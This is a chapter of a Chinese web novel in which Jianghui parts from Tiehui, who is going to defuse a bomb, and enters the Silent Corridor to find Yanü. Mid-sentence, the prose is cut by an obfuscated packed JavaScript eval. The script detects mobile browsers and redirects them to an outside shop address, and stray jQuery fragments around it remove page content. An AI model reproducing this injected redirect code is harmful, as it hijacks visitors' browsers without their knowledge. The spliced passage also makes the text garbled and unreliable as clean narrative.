“你在首席的镜子里看到哑女刻在墙上的那句话了吗?第六排写的是:我叫哑女,我是绛晖,我在这里等我自己。”绛晖朝铁彗走近了一步。“你和哑女都在等我,不是吗?”

    “我没在等你。”铁彗还是没有回头。

    “那你为什么做了六版外骨骼。”

    铁彗没有回答,她低下头看着控制面板上那些绿色的待机图标,片刻之后才开口:“第一版做出来的时候,我想等你来了就可以穿,但焊完之后发现焊接点有偏差,护肩接缝裂了,我就把第一版拆了,拆的时候在想:她什么时候来。第三版液压杆漏油,拆的时候在想:她会不会已经在路上了。第五版感应核心不兼容,拆的时候已经在想:她来了之后不喜欢怎么办。”

    “第六版做完之后呢。”

    “第六版做完之后我没有拆,我将它放进了盒子里,然后将盒子放在工作台下面的位置,我一伸手就可以够到。我会每天打开检查一次,确认感应核心还在运转,检查完之后关好盒子放回去,然后继续改第七版。”

    “你还做了第七版。”

    “没做完,第七版的胸甲减重方案做到一半,首席的镜子突然黑了,那次黑了很长时间,我以为她出事了。后来镜子恢复信号,我看到她穿着灰色便服跟你站在一起。那会我就知道,你把她带出去了,所以第七版搁置了很长时间。”

    绛晖想起了那个时间点,那是深红剧院她从舞台上把首席带出来的时候,那会她们还不知道,在另一个副本里,有一个绛晖通过一面镜子从头看到了尾。

    “我看到你握住她的手。”铁彗接着说道。她的语速变慢了,似是在回忆,“首席哭的时候你把手放在她后脑勺上,按了一下。她哭完之后抬头说了句什么,镜子没有声音,我听不到,但她的嘴型我看得出来,她说的是:我叫绛晖。”

    “那你看完之后,第七版胸甲改了吗?”

    “没有,我把第七版的设计图删了,你现在穿的是第六版,第六版是最稳定的,不需要第七版了。”

    铁彗转过身来,她的表情看着没有变化,但绛晖注意到她的右手拇指在工具包的肩带上反复摩擦着,那是绛晖自己的习惯,在游戏公司每次等编译结果的时候她都会将手指在鼠标上反复摩擦。

    铁彗从工具包里又翻出一把匕首。匕首的刀鞘是哑光处理的,刀身上覆盖着一层薄薄的减震网。她把匕首递给绛晖,“近距离防身用。”

    绛晖收好匕首然后向铁彗递出手,铁彗低头看着那只手,沉默了很长时间,她轻叹了一口气,表情似是无奈,然后抬起手握住了绛晖。

    “通道下面的炸弹我去关,你去把哑女带出来。”铁彗松开手退后一步,脸上的表情恢复了一贯的冷淡。“传送门坐标自动锁定无声回廊出口,你带着哑女从出口出来时,传送门会把你们直接拉回这里,我在车间里等你们。”

    绛晖点了下头。

    铁彗走到车间正中央蹲下身将手掌按在金属板上。掌纹识别器亮起一圈绿光,金属板自动翻开,露出下面一条狭窄的竖井。竖井透出幽蓝色的数据流光,同时照亮了她们的脸。铁彗把工具包里的数据终端拿出来别在胸前,终端屏幕亮了一下,开始自动同步炸弹加密层的数据。

    “炸弹有六层加密。第一层是伪装层,很好解,大概二十秒。后面五层每层递增难度。最后一层的反噬能量最强,会触发短暂的意识断片。断片大概五到十秒,期间我不能操作终端。断片结束之后我会立刻完成最后一步解除程序。你进无声回廊之后找哑女,找到了就带她出来。不管路上遇到什么,不要回头来找我,炸弹我能搞定。”

    铁彗说话的时候没有看绛晖,她在检查终端上的加密数据,手指在屏幕上快速滑动,把每一层的解密钥预先加载好。绛晖蹲在她旁边,看着她把最后一层解密钥加载完毕。

    “传送

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729226|208741||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    门在那边。”铁彗指向车间门口的方向。“无声回廊我不能跟你一起进去。我的脚步声太重,车间里的钢板我踩了两年都踩出坑来了,进去等于害死你。”

    “你在外面等我。”

    一道临时传送门已经在钢制走道上生成,荧色光粒在门框边缘不稳定的闪烁着,看着随时可能崩塌。

    传送门上方浮着一行系统小字:目标,无声回廊入口。

    铁彗靠在车间门框上,双手交叉在胸前,工具包垂在腰侧,边说边朝着竖井走去,“传送门还有大概半分钟就会崩塌。进去之后不要用短铳,跟着墙上哑女给你留的路标走。她在回廊深处,具体位置我已经标记在你的外骨骼系统里了。”铁彗站在竖井边缘,一条腿已经踏进去。

    “铁彗。”

    铁彗停住动作,但没有回头。

    “我把首席带回来了,她现在是第五个。哑女是第六个,镜心还在等我。你关完炸弹之后要不要做第七个。”

    铁彗停住动作,竖井深处的数据流光映在她脸上。

    她点了点头。

    “当然。”

    金属板在铁彗的身影没入竖井后开始自动合拢,绛晖跨进传送门,铁锈色的光粒在她身后迅速崩塌,碎片还没落到地面就全部熄灭了。钢制走道上重新归于黑暗,只有车间里透出的暗红色光线在铁彗消失的那条竖井上方打出一个光圈。

    传送门在绛晖身后闭合的瞬间,绛晖感觉所有的声音都被吸走了。

    对,是吸走。

    她在踏入这个副本的一瞬间就感觉所有的声音像是全部被压成了一道极细的线,从耳膜上轻轻划过就消失了。

    现在她站在一条狭窄的甬道里,两侧墙壁上刻满了密密麻麻的摩斯电码。深的刻痕是旧的,浅的刻痕是新的,有些刻了一半就断了,像是刻字的人在刻到一半的时候听到了什么,紧急收手,指甲在墙面上划出一道仓促的拖痕。